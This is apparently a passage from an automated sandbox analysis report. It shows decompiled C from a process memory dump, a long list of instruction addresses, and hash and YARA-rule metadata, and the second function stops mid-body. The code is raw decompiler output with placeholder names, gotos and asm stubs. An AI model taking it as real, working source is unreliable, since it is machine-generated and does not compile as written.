				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E057B4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E0572D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E057B5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x57d60e8;
								if( *0x57d60e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x57d60e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E05729710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E05726DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E0572F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E0572F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E0572F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E0572FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E0572FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E0572F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E0572F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E057B4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E0573D130(_t427, _t494, _t511);
				}
			}

0x057b5ba5
0x057b5baa
0x057b5baf
0x057b5bb4
0x057b5bb6
0x057b5bbc
0x057b5bbe
0x057b5bc4
0x057b5bcd
0x057b5bd3
0x057b5bd6
0x057b5bdc
0x057b5be0
0x057b5be3
0x057b5beb
0x057b5bf2
0x057b5bf8
0x057b5bfe
0x057b5c04
0x057b5c0e
0x057b5c18
0x057b5c1f
0x057b5c25
0x057b5c2a
0x057b5c2c
0x057b5c32
0x057b5c3a
0x057b5c3f
0x057b5c42
0x057b5c48
0x057b5c5b
0x057b5c5b
0x057b5c2c
0x057b5cb7
0x057b5cb9
0x057b5cbf
0x057b5cc2
0x057b5cca
0x057b5ccb
0x057b5ccb
0x057b5cd1
0x057b5cd7
0x057b5cda
0x057b5ce1
0x057b5ce4
0x057b5ce7
0x057b5ced
0x057b5cf3
0x057b5cf9
0x057b5cff
0x057b5d08
0x057b5d0a
0x057b5d0e
0x057b5d10
0x00000000
0x00000000
0x057b5d16
0x057b5d1a
0x00000000
0x00000000
0x057b5d20
0x057b5d22
0x057b5d25
0x057b5d2f
0x057b5d2f
0x057b5d33
0x057b5d3d
0x057b5d49
0x057b5d4b
0x00000000
0x00000000
0x057b5d5a
0x057b5d5d
0x057b5d60
0x00000000
0x00000000
0x057b5d66
0x057b5d69
0x00000000
0x00000000
0x057b5d6f
0x057b5d6f
0x057b5d73
0x057b5d79
0x057b5d7f
0x057b5d86
0x057b5d95
0x057b5d98
0x057b5dba
0x057b5dcb
0x057b5dce
0x057b5dd3
0x057b5dd6
0x057b5dd8
0x057b5de6
0x057b5dec
0x057b5dee
0x057b5df1
0x057b5df3
0x057b635a
0x057b635a
0x00000000
0x057b635a
0x057b5dfe
0x057b5e02
0x057b5e05
0x057b5e07
0x057b5e10
0x057b5e13
0x057b5e1b
0x057b5e1c
0x057b5e21
0x057b5e22
0x057b5e23
0x057b5e25
0x057b5e2a
0x057b5e2c
0x057b5e2e
0x057b5e36
0x057b5e39
0x057b5e42
0x057b5e47
0x057b5e4d
0x057b5e54
0x057b5e54
0x057b5e54
0x057b5e2e
0x057b5e5c
0x057b5e5f
0x057b5e62
0x057b5e64
0x057b5e6b
0x057b5e70
0x057b5e7a
0x057b5e7a
0x057b5e7a
0x057b5e6b
0x057b5e7e
0x057b5e7f
0x057b5e7f
0x057b5e81
0x057b5e87
0x057b5e8b
0x057b5e8c
0x057b5e8c
0x057b5e8c
0x057b5e9a
0x057b5e9c
0x057b5ea2
0x057b5ea6
0x057b5f50
0x057b5f50
0x057b5f57
0x057b5f66
0x057b5f66
0x057b5f66
0x057b5f68
0x057b5f6a
0x057b63d0
0x00000000
0x057b5f70
0x057b5f70
0x057b5f91
0x057b5f9c
0x057b5f9e
0x057b5fa4
0x057b5fa6
0x057b638c
0x057b6392
0x057b63a1
0x057b63a7
0x057b63af
0x057b63af
0x057b63bd
0x057b63d8
0x00000000
0x057b63d8
0x057b5fac
0x057b5fb2
0x057b5fb4
0x057b5fbd
0x057b5fc6
0x057b5fce
0x057b5fd4
0x057b5fdc
0x057b5fec
0x057b5fed
0x057b5fee
0x057b5fef
0x057b5ff9
0x057b5ffa
0x057b5ffb
0x057b5ffc
0x057b6000
0x057b6004
0x057b6012
0x057b6012
0x057b6018
0x057b6019
0x057b601a
0x057b601b
0x057b601c
0x057b6020
0x057b6059
0x057b605c
0x057b6061
0x057b6061
0x057b6022
0x057b6022
0x057b6022
0x057b6025
0x057b602a
0x057b602b
0x057b6031
0x057b6037
0x057b6038
0x057b603e
0x057b6048
0x057b6049
0x057b604a
0x057b604b
0x057b604c
0x057b604d
0x057b6053
0x057b6054
0x057b6054
0x057b6062
0x057b6065
0x057b6067
0x057b606a
0x057b6070
0x057b6075
0x057b6076
0x057b6081
0x057b6087
0x057b6095
0x057b6099
0x057b609e
0x057b60a4
0x057b60ae
0x057b60b0
0x057b60b3
0x057b60b6
0x057b60b8
0x057b60ba
0x057b60ba
0x057b60ba
0x057b60ba
0x057b60be
0x057b60c0
0x057b60c5
0x057b60c5
0x057b60c5
0x057b60c6
0x057b60cd
0x057b6114
0x057b60cf
0x057b60cf
0x057b60d4
0x057b60d5
0x057b60da
0x057b60db
0x057b60e1
0x057b60e2
0x057b60e8
0x057b60f8
0x057b60fd
0x057b60fe
0x057b6102
0x057b6104
0x057b6107
0x057b6109
0x057b610b
0x057b610b
0x057b610b
0x057b610b
0x057b610f
0x057b610f
0x057b6117
0x057b611a
0x057b611f
0x057b6125
0x057b6134
0x057b6139
0x057b613f
0x057b6146
0x057b6148
0x057b614b
0x057b614d
0x057b614f
0x057b614f
0x057b614f
0x057b614f
0x057b6153
0x057b6159
0x057b6159
0x057b615c
0x057b6163
0x057b6169
0x057b616c
0x057b6172
0x057b6181
0x057b6186
0x057b6187
0x057b618b
0x057b6191
0x057b6195
0x057b61a3
0x057b61bb
0x057b61c0
0x057b61c3
0x057b61cc
0x057b61d0
0x057b61dc
0x057b61de
0x057b61e1
0x057b61e4
0x057b61e6
0x057b61e8
0x057b61e8
0x057b61e8
0x057b61e8
0x057b61e6
0x057b61ec
0x057b61f3
0x057b6203
0x057b6209
0x057b620a
0x057b6216
0x057b621d
0x057b6227
0x057b6241
0x057b6246
0x057b624c
0x057b6257
0x057b6259
0x057b625c
0x057b625e
0x057b6260
0x057b6260
0x057b6260
0x057b6260
0x057b625e
0x057b6264
0x057b6267
0x057b6269
0x057b6315
0x057b6315
0x057b631b
0x057b631e
0x057b6324
0x057b6327
0x057b632f
0x057b6330
0x057b6333
0x057b633a
0x057b633c
0x057b6335
0x057b6335
0x057b6335
0x057b633f
0x057b6342
0x057b634c
0x057b6352
0x057b6355
0x057b6355
0x057b6359
0x00000000
0x057b626f
0x057b6275
0x057b6275
0x057b6278
0x057b627e
0x057b627e
0x057b6281
0x057b6287
0x057b628d
0x057b6298
0x057b629c
0x057b62a2
0x057b629e
0x057b629e
0x057b629e
0x057b62a7
0x057b62a7
0x057b62aa
0x057b62b0
0x057b62f0
0x057b62f0
0x057b62f2
0x057b62f8
0x057b62fd
0x057b62b2
0x057b62b2
0x057b62b2
0x057b62b5
0x057b62dd
0x057b62e2
0x057b62e5
0x057b62b7
0x057b62b8
0x057b62bb
0x057b62bd
0x057b62c0
0x057b62c4
0x057b62cd
0x057b62cd
0x057b62c0
0x057b62bb
0x057b62b5
0x057b6302
0x057b6303
0x057b6305
0x057b6305
0x057b6305
0x057b630c
0x057b630c
0x00000000
0x057b627e
0x057b6269
0x057b5eac
0x057b5ebb
0x057b5ebe
0x057b5ecb
0x057b5ecb
0x057b5ece
0x057b5ece
0x057b5ed4
0x057b5ed7
0x057b5ed9
0x057b5edb
0x057b5edb
0x057b5ee1
0x057b5ee1
0x057b5ee3
0x057b5f20
0x057b5f20
0x057b5ee5
0x057b5ee5
0x057b5ee5
0x057b5ee8
0x057b5f11
0x057b5f18
0x057b5eea
0x057b5eea
0x057b5eed
0x057b5ef2
0x057b5ef8
0x057b5efb
0x057b5f0a
0x057b5f0a
0x057b5eed
0x057b5ee8
0x057b5f22
0x057b5f28
0x00000000
0x00000000
0x057b5f30
0x057b5f31
0x057b5f37
0x057b5f3a
0x057b5f3d
0x057b5f44
0x00000000
0x00000000
0x00000000
0x057b5f46
0x057b5f48
0x057b5f4d
0x00000000
0x057b5f4d
0x057b5dda
0x057b5ddf
0x00000000
0x057b5ddf
0x057b5dd8
0x057b5da7
0x057b5da9
0x057b5dac
0x057b5dae
0x00000000
0x057b5db4
0x057b5db4
0x00000000
0x057b5db4
0x057b5dae
0x057b5d88
0x057b5d8d
0x057b6363
0x057b6369
0x057b636a
0x057b6370
0x057b6372
0x057b637a
0x057b637b
0x057b637d
0x00000000
0x00000000
0x057b637f
0x057b6385
0x00000000
0x057b6385
0x057b5d38
0x057b5d3b
0x00000000
0x00000000
0x00000000
0x057b5d3b
0x057b5d27
0x057b5d29
0x00000000
0x00000000
0x00000000
0x057b6360
0x00000000
0x057b6360
0x057b5c10
0x057b5c10
0x057b63da
0x057b63e5
0x057b63e5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02905f16736786473e53b6624ea1e9fbd08d719cd3c9c339b3587be542d95a84
Instruction ID: f590bc45023b17462567b807a6e2ce84aca058552f85286be8c274678fe1751c
Opcode Fuzzy Hash: 02905f16736786473e53b6624ea1e9fbd08d719cd3c9c339b3587be542d95a84
Instruction Fuzzy Hash: 3A427C75A14229CFEB24CF68C880BE9B7B1FF49304F1481AAD94DEB242E7719985DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05704120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E05704120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x57dd360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E0571F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E05706E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L05704620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E05706E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
